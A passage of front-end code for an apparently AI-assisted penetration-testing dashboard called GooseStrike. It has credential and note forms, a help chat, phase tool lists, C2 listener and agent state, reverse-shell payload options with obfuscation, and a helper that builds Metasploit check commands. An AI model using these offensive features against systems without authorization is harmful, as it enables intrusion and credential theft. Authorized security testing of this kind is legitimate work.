<input type="text" x-model="newCredential.username"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Domain</label>
<input type="text" x-model="newCredential.domain"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
</div>
</div>
<div class="grid grid-cols-2 gap-3">
<div>
<label class="block text-xs text-sp-white-muted mb-1">Password</label>
<input type="text" x-model="newCredential.password"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Hash</label>
<input type="text" x-model="newCredential.hash"
placeholder="NTLM / NTLMv2..."
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
</div>
</div>
<div class="grid grid-cols-2 gap-3">
<div>
<label class="block text-xs text-sp-white-muted mb-1">Host</label>
<input type="text" x-model="newCredential.host"
placeholder="192.168.1.10"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Service</label>
<input type="text" x-model="newCredential.service"
placeholder="SMB, SSH, RDP..."
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
</div>
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Source</label>
<input type="text" x-model="newCredential.source"
placeholder="How was this obtained? (secretsdump, mimikatz, etc.)"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Notes</label>
<textarea x-model="newCredential.notes" rows="2"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white resize-none"></textarea>
</div>
</div>
<div class="flex gap-3 mt-6">
<button @click="showCredentialModal = false"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Cancel
</button>
<button @click="addCredential()"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
:disabled="!newCredential.username.trim()">
Add Credential
</button>
</div>
</div>
</div>
<!-- Note Add Modal -->
<div x-show="showNoteModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid" @click.away="showNoteModal = false">
<h3 class="text-lg font-bold mb-4 text-sp-white">📝 Add Note</h3>
<div class="space-y-3">
<div>
<label class="block text-xs text-sp-white-muted mb-1">Title *</label>
<input type="text" x-model="newNote.title"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white">
</div>
<div class="grid grid-cols-2 gap-3">
<div>
<label class="block text-xs text-sp-white-muted mb-1">Category</label>
<select x-model="newNote.category"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="general">General</option>
<option value="recon">Reconnaissance</option>
<option value="exploitation">Exploitation</option>
<option value="post-exploit">Post-Exploitation</option>
<option value="loot">Loot</option>
</select>
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Related Host</label>
<input type="text" x-model="newNote.host"
placeholder="192.168.1.10"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
</div>
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Content *</label>
<textarea x-model="newNote.content" rows="6"
placeholder="Enter your notes here..."
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white resize-none font-mono"></textarea>
</div>
</div>
<div class="flex gap-3 mt-6">
<button @click="showNoteModal = false"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Cancel
</button>
<button @click="addNote()"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
:disabled="!newNote.title.trim() || !newNote.content.trim()">
Add Note
</button>
</div>
</div>
</div>
<!-- Wizard Modal -->
<div x-show="showWizardModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg w-full max-w-2xl border border-sp-grey-mid" @click.away="showWizardModal = false">
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between">
<h3 class="text-lg font-bold text-sp-white" x-text="wizardTitle"></h3>
<button @click="showWizardModal = false" class="text-sp-white-muted hover:text-white text-xl"></button>
</div>
<!-- Progress Bar -->
<div class="px-6 pt-4">
<div class="flex items-center justify-between mb-2">
<span class="text-xs text-sp-white-muted">Step <span x-text="wizardStep"></span> of <span x-text="wizardSteps.length"></span></span>
<span class="text-xs text-sp-red" x-text="Math.round((wizardStep / wizardSteps.length) * 100) + '%'"></span>
</div>
<div class="h-2 bg-sp-grey rounded-full overflow-hidden">
<div class="h-full bg-sp-red transition-all duration-300" :style="'width: ' + (wizardStep / wizardSteps.length * 100) + '%'"></div>
</div>
</div>
<!-- Step Content -->
<div class="p-6">
<template x-for="(step, idx) in wizardSteps" :key="idx">
<div x-show="wizardStep === idx + 1" class="space-y-4">
<h4 class="text-lg font-semibold text-sp-white" x-text="step.title"></h4>
<p class="text-sm text-sp-white-muted" x-text="step.description"></p>
<!-- Dynamic Fields -->
<template x-for="field in step.fields" :key="field.name">
<div class="space-y-1">
<label class="block text-sm text-sp-white-muted" x-text="field.label"></label>
<template x-if="field.type === 'text'">
<input type="text"
x-model="wizardData[field.name]"
:placeholder="field.placeholder"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
</template>
<template x-if="field.type === 'select'">
<select x-model="wizardData[field.name]"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<template x-for="opt in field.options" :key="opt.value">
<option :value="opt.value" x-text="opt.label"></option>
</template>
</select>
</template>
<template x-if="field.type === 'textarea'">
<textarea x-model="wizardData[field.name]"
:placeholder="field.placeholder"
rows="3"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red"></textarea>
</template>
<p x-show="field.help" class="text-xs text-sp-white-muted" x-text="field.help"></p>
</div>
</template>
<!-- Step Tips -->
<div x-show="step.tips" class="bg-sp-grey/50 p-3 rounded border border-sp-grey-mid">
<h5 class="text-xs font-semibold text-sp-red mb-2">💡 Tips</h5>
<ul class="text-xs text-sp-white-muted space-y-1">
<template x-for="tip in step.tips" :key="tip">
<li x-text="'• ' + tip"></li>
</template>
</ul>
</div>
</div>
</template>
</div>
<!-- Navigation -->
<div class="p-4 border-t border-sp-grey-mid flex justify-between">
<button @click="wizardStep > 1 ? wizardStep-- : showWizardModal = false"
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition"
x-text="wizardStep === 1 ? 'Cancel' : '← Back'">
</button>
<button @click="wizardStep < wizardSteps.length ? wizardStep++ : completeWizard()"
class="bg-sp-red hover:bg-sp-red-dark px-6 py-2 rounded font-semibold transition"
x-text="wizardStep === wizardSteps.length ? '✓ Complete' : 'Next →'">
</button>
</div>
</div>
</div>
<!-- Explain Modal -->
<div x-show="showExplainModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid" @click.away="showExplainModal = false">
<div class="flex justify-between items-center mb-4">
<h3 class="text-lg font-bold text-sp-white flex items-center gap-2">
<span></span> Explanation
</h3>
<button @click="showExplainModal = false" class="text-sp-white-muted hover:text-white text-xl"></button>
</div>
<div x-show="explainLoading" class="text-center py-8">
<div class="typing-indicator flex gap-1 justify-center">
<span class="w-3 h-3 bg-sp-red rounded-full"></span>
<span class="w-3 h-3 bg-sp-red rounded-full"></span>
<span class="w-3 h-3 bg-sp-red rounded-full"></span>
</div>
<p class="text-sp-white-muted mt-2">Analyzing...</p>
</div>
<div x-show="!explainLoading && explainResult" class="space-y-4">
<div class="bg-sp-grey/50 p-4 rounded">
<h4 class="text-sm font-semibold text-sp-white mb-2" x-text="explainResult.title || 'Explanation'"></h4>
<div class="text-sm text-sp-white-dim" x-html="renderMarkdown(explainResult.description || '')"></div>
</div>
<template x-if="explainResult.recommendations && explainResult.recommendations.length">
<div>
<h5 class="text-sm font-semibold text-sp-red mb-2">💡 Recommendations</h5>
<ul class="space-y-2">
<template x-for="rec in explainResult.recommendations" :key="rec">
<li class="flex items-start gap-2 text-sm text-sp-white-muted">
<span class="text-green-400"></span>
<span x-text="rec"></span>
</li>
</template>
</ul>
</div>
</template>
<template x-if="explainResult.warnings && explainResult.warnings.length">
<div class="bg-yellow-500/10 border border-yellow-500/30 rounded p-3">
<h5 class="text-sm font-semibold text-yellow-400 mb-2">⚠️ Warnings</h5>
<ul class="space-y-1">
<template x-for="warn in explainResult.warnings" :key="warn">
<li class="text-sm text-yellow-200" x-text="warn"></li>
</template>
</ul>
</div>
</template>
<template x-if="explainResult.example">
<div>
<h5 class="text-sm font-semibold text-sp-white-muted mb-2">📝 Example</h5>
<pre class="bg-sp-black p-3 rounded text-sm font-mono text-green-400 overflow-x-auto" x-text="explainResult.example"></pre>
</div>
</template>
</div>
<div class="mt-4 flex justify-end">
<button @click="showExplainModal = false"
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Close
</button>
</div>
</div>
</div>
<!-- Help Chat Panel (Slide-out) -->
<div x-show="showHelpPanel"
x-transition:enter="transition ease-out duration-300"
x-transition:enter-start="translate-x-full"
x-transition:enter-end="translate-x-0"
x-transition:leave="transition ease-in duration-200"
x-transition:leave-start="translate-x-0"
x-transition:leave-end="translate-x-full"
class="help-panel fixed right-0 top-0 h-full w-96 bg-sp-dark border-l border-sp-grey-mid z-50 flex flex-col shadow-2xl">
<!-- Header -->
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between bg-sp-grey/30">
<div class="flex items-center gap-2">
<span class="text-2xl">🤖</span>
<div>
<h3 class="font-bold text-sp-white">GooseStrike Help</h3>
<p class="text-xs text-sp-white-muted">AI-Powered Assistance</p>
</div>
</div>
<button @click="showHelpPanel = false" class="text-sp-white-muted hover:text-white text-xl"></button>
</div>
<!-- Quick Actions -->
<div class="p-3 border-b border-sp-grey-mid bg-sp-grey/20">
<p class="text-xs text-sp-white-muted mb-2">Quick Help Topics:</p>
<div class="flex flex-wrap gap-1">
<button @click="askHelpQuestion('How do I scan a network?')"
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
Network Scanning
</button>
<button @click="askHelpQuestion('What is the C2 tab for?')"
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
C2 Framework
</button>
<button @click="askHelpQuestion('How do I generate payloads?')"
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
Payloads
</button>
<button @click="askHelpQuestion('Explain the mission planning workflow')"
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
Mission Planning
</button>
</div>
</div>
<!-- Messages -->
<div class="flex-1 overflow-y-auto p-4 space-y-4" id="help-messages">
<template x-if="helpMessages.length === 0">
<div class="text-center text-sp-white-muted py-8">
<span class="text-4xl mb-4 block">💬</span>
<p class="text-sm">Ask me anything about GooseStrike!</p>
<p class="text-xs mt-1">I can help with scanning, exploitation, C2, and more.</p>
</div>
</template>
<template x-for="(msg, idx) in helpMessages" :key="idx">
<div :class="msg.role === 'user' ? 'flex justify-end' : 'flex justify-start'">
<div :class="msg.role === 'user'
? 'bg-sp-red text-white rounded-lg rounded-br-none px-4 py-2 max-w-xs'
: 'bg-sp-grey text-sp-white rounded-lg rounded-bl-none px-4 py-2 max-w-xs'">
<p class="text-sm" x-html="renderMarkdown(msg.content)"></p>
<span class="text-xs opacity-60" x-text="msg.time"></span>
</div>
</div>
</template>
<template x-if="helpLoading">
<div class="flex justify-start">
<div class="bg-sp-grey rounded-lg px-4 py-3">
<div class="typing-indicator flex gap-1">
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
</div>
</div>
</div>
</template>
</div>
<!-- Input -->
<div class="p-4 border-t border-sp-grey-mid bg-sp-grey/30">
<form @submit.prevent="sendHelpMessage()" class="flex gap-2">
<input type="text"
x-model="helpInput"
placeholder="Ask a question..."
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded-lg px-4 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red">
<button type="submit"
:disabled="!helpInput.trim() || helpLoading"
class="bg-sp-red hover:bg-sp-red-dark disabled:bg-sp-grey disabled:cursor-not-allowed px-4 py-2 rounded-lg transition">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 19l9 2-9-18-9 18 9-2zm0 0v-8"></path>
</svg>
</button>
</form>
</div>
</div>
<!-- Onboarding Overlay -->
<div x-show="showOnboarding && !localStorage.getItem('goosestrike-onboarded')"
x-transition
class="fixed inset-0 bg-black/80 z-50 flex items-center justify-center">
<div class="bg-sp-dark rounded-xl p-8 w-full max-w-xl border border-sp-red/30 text-center">
<div class="text-6xl mb-4">🦆</div>
<h2 class="text-2xl font-bold text-sp-white mb-2">Welcome to GooseStrike!</h2>
<p class="text-sp-white-muted mb-6">Your AI-powered penetration testing platform. Let's get you started.</p>
<div class="grid grid-cols-3 gap-4 mb-6">
<div class="bg-sp-grey/50 p-4 rounded-lg">
<span class="text-2xl">🎯</span>
<h4 class="font-semibold text-sp-white mt-2">Plan</h4>
<p class="text-xs text-sp-white-muted">Define your targets and objectives</p>
</div>
<div class="bg-sp-grey/50 p-4 rounded-lg">
<span class="text-2xl">🔍</span>
<h4 class="font-semibold text-sp-white mt-2">Scan</h4>
<p class="text-xs text-sp-white-muted">Discover and enumerate</p>
</div>
<div class="bg-sp-grey/50 p-4 rounded-lg">
<span class="text-2xl"></span>
<h4 class="font-semibold text-sp-white mt-2">Strike</h4>
<p class="text-xs text-sp-white-muted">Execute and maintain access</p>
</div>
</div>
<div class="flex gap-4 justify-center">
<button @click="showOnboarding = false; localStorage.setItem('goosestrike-onboarded', 'true')"
class="bg-sp-grey hover:bg-sp-grey-light px-6 py-3 rounded-lg transition">
Skip Tour
</button>
<button @click="showOnboarding = false; localStorage.setItem('goosestrike-onboarded', 'true'); startWizard('guided_tour')"
class="bg-sp-red hover:bg-sp-red-dark px-6 py-3 rounded-lg font-semibold transition">
Start Guided Tour →
</button>
</div>
</div>
</div>
</div>
<script>
function dashboard() {
return {
activeTab: 'phase',
activePhase: 'recon',
messages: [],
userInput: '',
isLoading: false,
services: {},
selectedProvider: 'ollama-local',
selectedModel: 'llama3.2',
availableModels: ['llama3.2', 'codellama', 'mistral'],
providers: {},
terminalInput: '',
terminalHistory: [],
terminalLoading: false,
terminalWs: null,
terminalStreaming: false,
terminalPaused: false,
pausedBuffer: [],
scrollLock: false,
terminalStartTime: null,
lastExitCode: null,
commandHistory: [],
historyIndex: -1,
scans: [],
scanModalOpen: false,
scanModal: { tool: '', target: '', scanType: '', types: [] },
detailsModalOpen: false,
selectedScan: null,
runningProcesses: [],
showProcesses: false,
findings: [],
attackChains: [],
networkHosts: [],
selectedHost: null,
networkMapLoading: false,
networkMapView: 'cytoscape',
osFilters: [], // Active OS type filters for network map
networkScanProgress: { current: 0, total: 0, currentIp: '', hostsFound: 0 },
showRangeScanModal: false,
rangeScanTarget: '',
rangeScanType: 'quick',
// C2 Command & Control State
c2ActivePanel: 'listeners',
c2Listeners: [],
c2Agents: [],
c2Tasks: [],
selectedAgent: null,
showListenerModal: false,
showAgentInteract: false,
newListener: {
name: '',
type: 'http',
host: '0.0.0.0',
port: 8443,
protocol: 'HTTPS'
},
payloadOptions: {
type: 'reverse_shell',
listener: '',
lhost: '',
lport: 4444,
os: 'linux',
arch: 'x64',
format: 'raw',
encode: false,
obfuscate: false
},
generatedPayload: '',
agentCommand: '',
// Voice Control State
voiceState: 'idle', // idle, listening, processing, speaking
voiceTranscript: '',
voiceSupported: 'webkitSpeechRecognition' in window || 'SpeechRecognition' in window,
speechRecognition: null,
// Wizard State
showWizardModal: false,
wizardType: 'first_time',
wizardTitle: 'Getting Started',
wizardStep: 1,
wizardSteps: [],
wizardData: {},
// Explain Modal State
showExplainModal: false,
explainLoading: false,
explainResult: null,
explainContext: {},
// Help Panel State
showHelpPanel: false,
helpMessages: [],
helpInput: '',
helpLoading: false,
// Onboarding State
showOnboarding: !localStorage.getItem('goosestrike-onboarded'),
onboardingComplete: localStorage.getItem('goosestrike-onboarded') === 'true',
// Project Management State
projects: [],
currentProjectId: '',
currentProject: null,
showProjectModal: false,
showProjectDetails: false,
newProject: {
name: '',
description: '',
target_network: '',
scope: []
},
// Credentials Manager State
credentials: [],
showCredentialModal: false,
newCredential: {
username: '',
password: '',
hash: '',
hash_type: '',
domain: '',
host: '',
service: '',
source: '',
notes: ''
},
// Notes State
projectNotes: [],
showNoteModal: false,
newNote: {
title: '',
content: '',
category: 'general',
host: ''
},
// Exploit Suggestion State
exploitSuggestions: [],
exploitLoading: false,
// Recon Pipeline State
showPipelineModal: false,
activePipelines: [],
newPipeline: {
target: '',
pipeline: 'standard',
include_vuln_scan: false,
include_web_enum: false
},
// CTF Agent State
ctfAgent: {
category: 'general',
challengeName: '',
challengeDescription: '',
hintsText: '',
filesText: '',
currentProgress: '',
messages: [],
input: '',
loading: false
},
phases: [
{
id: 'recon',
name: 'Reconnaissance',
short: 'Recon',
icon: '🔍',
description: 'Gather information about the target through passive and active reconnaissance techniques.',
tools: [
{ name: 'nmap', description: 'Network scanner and port enumeration' },
{ name: 'theHarvester', description: 'OSINT gathering for emails, subdomains' },
{ name: 'amass', description: 'Subdomain enumeration and mapping' },
{ name: 'whatweb', description: 'Web technology fingerprinting' },
],
quickActions: [
{ icon: '🎯', label: 'Quick Port Scan', tool: 'nmap', scanType: 'quick' },
{ icon: '🔎', label: 'Tech Fingerprint', tool: 'whatweb', scanType: 'default' },
]
},
{
id: 'scanning',
name: 'Scanning',
short: 'Scan',
icon: '📡',
description: 'Perform in-depth scanning and enumeration of discovered services.',
tools: [
{ name: 'nmap -sV', description: 'Service version detection' },
{ name: 'gobuster', description: 'Directory and file brute-force' },
{ name: 'enum4linux', description: 'SMB/Windows enumeration' },
],
quickActions: [
{ icon: '🔬', label: 'Full Port Scan', tool: 'nmap', scanType: 'full' },
{ icon: '📁', label: 'Dir Brute Force', tool: 'gobuster', scanType: 'dir' },
]
},
{
id: 'vuln',
name: 'Vulnerability Assessment',
short: 'Vuln',
icon: '🛡️',
description: 'Identify and assess vulnerabilities in discovered services.',
tools: [
{ name: 'nikto', description: 'Web server vulnerability scanner' },
{ name: 'nuclei', description: 'Template-based vuln scanner' },
{ name: 'sqlmap', description: 'SQL injection detection' },
],
quickActions: [
{ icon: '🕸️', label: 'Web Vuln Scan', tool: 'nikto', scanType: 'default' },
{ icon: '💉', label: 'SQLi Test', tool: 'sqlmap', scanType: 'test' },
{ icon: '🔎', label: 'Nmap Vuln Scripts', tool: 'nmap', scanType: 'vuln' },
]
},
{
id: 'exploit',
name: 'Exploitation',
short: 'Exploit',
icon: '💥',
description: 'Safely exploit verified vulnerabilities to demonstrate impact.',
tools: [
{ name: 'metasploit', description: 'Exploitation framework' },
{ name: 'hydra', description: 'Password brute-force tool' },
{ name: 'searchsploit', description: 'Exploit database search' },
],
quickActions: [
{ icon: '🔍', label: 'Search Exploits', prompt: 'Search for exploits for the vulnerabilities we found' },
]
},
{
id: 'report',
name: 'Reporting',
short: 'Report',
icon: '📄',
description: 'Document findings and create professional security reports.',
tools: [
{ name: 'Report Generator', description: 'AI-generated executive summary' },
{ name: 'CVSS Calculator', description: 'Severity scoring' },
],
quickActions: [
{ icon: '📊', label: 'Executive Summary', prompt: 'Generate an executive summary of our findings' },
{ icon: '📋', label: 'Technical Report', prompt: 'Create a detailed technical report' },
]
},
{
id: 'retest',
name: 'Retesting',
short: 'Retest',
icon: '🔄',
description: 'Verify that vulnerabilities have been properly remediated.',
tools: [
{ name: 'Verification Scan', description: 'Re-run previous scans' },
],
quickActions: [
{ icon: '✅', label: 'Verify Fixes', prompt: 'Create a retest plan for the identified vulnerabilities' },
]
}
],
async init() {
await this.checkStatus();
// Load saved preferences (provider/model)
try {
const prefRes = await fetch('/api/preferences');
const pref = await prefRes.json();
if (pref.provider) this.selectedProvider = pref.provider;
if (pref.model) this.selectedModel = pref.model;
} catch {}
// Subscribe to SSE for running processes via dashboard proxy
try {
const es = new EventSource('/api/stream/processes');
es.onmessage = (ev) => {
try {
const data = JSON.parse(ev.data);
this.runningProcesses = data.running_processes || [];
} catch {}
};
es.onerror = () => { /* keep trying */ };
} catch {}
// Mount React components if available
if (window.GooseStrikeComponents) {
// Mount voice controls if container exists
const voiceContainer = document.getElementById('voice-controls-mount');
if (voiceContainer) {
window.GooseStrikeComponents.mount.voiceControls('voice-controls-mount', {
onCommand: (cmd) => this.handleVoiceCommand(cmd),
apiUrl: '/api/voice'
});
}
}
await this.loadProjects(); // Load projects on init
await this.loadActivePipelines(); // Load active pipelines
setInterval(() => this.checkStatus(), 30000);
await this.loadProviders();
await this.refreshScans();
setInterval(() => this.pollRunningScans(), 5000);
this.messages.push({
role: 'assistant',
phase: 'Reconnaissance',
provider: 'ollama',
model: 'System',
content: `# Welcome to GooseStrike! 🍁I'm your AI-powered penetration testing assistant, following the **6-Phase Enterprise Methodology**:
| Phase | Purpose |
|-------|---------|
| 🔍 **Reconnaissance** | OSINT, subdomain discovery, port scanning |
| 📡 **Scanning** | Service enumeration, version detection |
| 🛡️ **Vulnerability Assessment** | CVE identification, CVSS scoring |
| 💥 **Exploitation** | Safe, controlled exploitation |
| 📄 **Reporting** | Executive & technical reports |
| 🔄 **Retesting** | Verify remediation |
**New Features:**
- ⛓️ **Attack Chain Analysis** - Correlate vulnerabilities into attack paths
- 🎯 **CVSS Scoring** - Risk severity badges on all findings
- 🤖 **Context-Aware AI** - Prompts tailored to each phase
Select a phase above to begin, or use the quick actions in the sidebar!`
});
this.terminalHistory.push({
type: 'info',
content: 'Connected to Kali container. Type commands below to execute.'
});
},
getCurrentPhase() {
return this.phases.find(p => p.id === this.activePhase) || this.phases[0];
},
getPhasePrompt() {
const prompts = {
recon: 'Ask about reconnaissance techniques or specify a target to scan...',
scanning: 'Request service enumeration or detailed scanning...',
vuln: 'Ask about vulnerability assessment or analyze scan results...',
exploit: 'Discuss exploitation strategies or search for exploits...',
report: 'Request report generation or findings summary...',
retest: 'Plan retesting or verify remediation...'
};
return prompts[this.activePhase] || 'Ask me anything about security testing...';
},
get phaseScans() {
const phaseTools = {
recon: ['nmap', 'theHarvester', 'amass', 'whatweb', 'whois'],
scanning: ['nmap', 'masscan', 'enum4linux', 'gobuster'],
vuln: ['nikto', 'nuclei', 'sqlmap', 'searchsploit'],
exploit: ['hydra', 'metasploit'],
report: [],
retest: []
};
const tools = phaseTools[this.activePhase] || [];
return this.scans.filter(s => tools.includes(s.tool));
},
async checkStatus() {
try {
const response = await fetch('/api/status');
const data = await response.json();
this.services = data.services;
} catch (e) { console.error('Failed to check status:', e); }
},
async checkRunningProcesses() {
try {
const response = await fetch('/api/processes');
const data = await response.json();
this.runningProcesses = data.running_processes || [];
} catch (e) { console.error('Failed to check processes:', e); }
},
// ============= PROJECT MANAGEMENT METHODS =============
async loadProjects() {
try {
const response = await fetch('/api/projects');
const data = await response.json();
this.projects = data.projects || [];
this.currentProjectId = data.current_project_id || '';
if (this.currentProjectId) {
await this.loadCurrentProject();
}
} catch (e) { console.error('Failed to load projects:', e); }
},
async loadCurrentProject() {
if (!this.currentProjectId) {
this.currentProject = null;
this.networkHosts = [];
this.credentials = [];
this.projectNotes = [];
return;
}
try {
const response = await fetch(`/api/projects/${this.currentProjectId}`);
this.currentProject = await response.json();
// Sync project data to local state
this.networkHosts = this.currentProject.hosts || [];
this.credentials = this.currentProject.credentials || [];
this.projectNotes = this.currentProject.notes || [];
// Refresh network map if visible
if (this.activeTab === 'network-map') {
this.refreshNetworkMap();
}
} catch (e) { console.error('Failed to load current project:', e); }
},
async selectProject() {
if (this.currentProjectId) {
try {
await fetch(`/api/projects/${this.currentProjectId}/select`, { method: 'POST' });
await this.loadCurrentProject();
} catch (e) { console.error('Failed to select project:', e); }
} else {
this.currentProject = null;
// Load hosts from non-project storage
await this.refreshNetworkHosts();
}
},
async createProject() {
if (!this.newProject.name.trim()) return;
try {
const response = await fetch('/api/projects', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(this.newProject)
});
const data = await response.json();
if (data.status === 'success') {
this.projects.push(data.project);
this.currentProjectId = data.project.id;
await this.loadCurrentProject();
this.showProjectModal = false;
this.newProject = { name: '', description: '', target_network: '', scope: [] };
this.terminalHistory.push({
type: 'success',
content: `📁 Project "${data.project.name}" created and selected.`
});
}
} catch (e) { console.error('Failed to create project:', e); }
},
async deleteProject(projectId) {
if (!confirm('Delete this project and all its data?')) return;
try {
await fetch(`/api/projects/${projectId}`, { method: 'DELETE' });
this.projects = this.projects.filter(p => p.id !== projectId);
if (this.currentProjectId === projectId) {
this.currentProjectId = '';
this.currentProject = null;
}
} catch (e) { console.error('Failed to delete project:', e); }
},
// Credentials Management
async addCredential() {
if (!this.currentProjectId) {
alert('Please select a project first');
return;
}
if (!this.newCredential.username.trim()) return;
try {
const response = await fetch(`/api/projects/${this.currentProjectId}/credentials`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(this.newCredential)
});
const data = await response.json();
if (data.status === 'success') {
this.credentials.push(data.credential);
this.showCredentialModal = false;
this.newCredential = { username: '', password: '', hash: '', hash_type: '', domain: '', host: '', service: '', source: '', notes: '' };
}
} catch (e) { console.error('Failed to add credential:', e); }
},
async deleteCredential(credId) {
if (!this.currentProjectId) return;
try {
await fetch(`/api/projects/${this.currentProjectId}/credentials/${credId}`, { method: 'DELETE' });
this.credentials = this.credentials.filter(c => c.id !== credId);
} catch (e) { console.error('Failed to delete credential:', e); }
},
// Notes Management
async addNote() {
if (!this.currentProjectId) {
alert('Please select a project first');
return;
}
if (!this.newNote.title.trim() || !this.newNote.content.trim()) return;
try {
const response = await fetch(`/api/projects/${this.currentProjectId}/notes`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(this.newNote)
});
const data = await response.json();
if (data.status === 'success') {
this.projectNotes.push(data.note);
this.showNoteModal = false;
this.newNote = { title: '', content: '', category: 'general', host: '' };
}
} catch (e) { console.error('Failed to add note:', e); }
},
async deleteNote(noteId) {
if (!this.currentProjectId) return;
try {
await fetch(`/api/projects/${this.currentProjectId}/notes/${noteId}`, { method: 'DELETE' });
this.projectNotes = this.projectNotes.filter(n => n.id !== noteId);
} catch (e) { console.error('Failed to delete note:', e); }
},
// ============= EXPLOIT SUGGESTION METHODS =============
async getExploitSuggestions(host) {
if (!host) return;
this.exploitLoading = true;
this.exploitSuggestions = [];
try {
const response = await fetch('/api/exploits/suggest', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ host_ip: host.ip })
});
const data = await response.json();
this.exploitSuggestions = data.suggestions || [];
if (this.exploitSuggestions.length === 0) {
this.terminalHistory.push({
type: 'info',
content: `No known exploits found for ${host.ip}. Try running a version scan first: nmap -sV ${host.ip}`
});
} else {
this.terminalHistory.push({
type: 'success',
content: `Found ${this.exploitSuggestions.length} potential exploits for ${host.ip}`
});
}
} catch (e) {
console.error('Failed to get exploit suggestions:', e);
this.terminalHistory.push({
type: 'error',
content: `Failed to analyze host: ${e.message}`
});
}
this.exploitLoading = false;
},
async getAllExploitSuggestions() {
if (!this.currentProjectId) {
alert('Please select a project first');
return;
}
this.exploitLoading = true;
try {
const response = await fetch('/api/exploits/suggest', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ all_hosts: true })
});
const data = await response.json();
this.exploitSuggestions = data.suggestions || [];
this.terminalHistory.push({
type: 'success',
content: `Analyzed ${data.hosts_analyzed} hosts. Found ${data.total} potential exploits.`
});
} catch (e) {
console.error('Failed to get exploit suggestions:', e);
}
this.exploitLoading = false;
},
runMsfModule(module, targetIp) {
const cmd = `msfconsole -q -x "use ${module}; set RHOSTS ${targetIp}; check"`;
this.terminalInput = cmd;
this.activeTab = 'terminal';
this.terminalHistory.push({
type: 'info',
content: `Loaded MSF command: ${cmd}`
});
},
runManualCheck(checkCmd, targetIp) {
const cmd = checkCmd.replace(/TARGET/g, targetIp);
this.terminalInput = cmd;
this.activeTab = 'terminal';
},
async searchExploits(query) {
try {
const response = await fetch(`/api/exploits/search/${encodeURIComponent(query)}`);
const data = await response.json();
return data.results || [];
} catch (e) {
console.error('Failed to search exploits:', e);
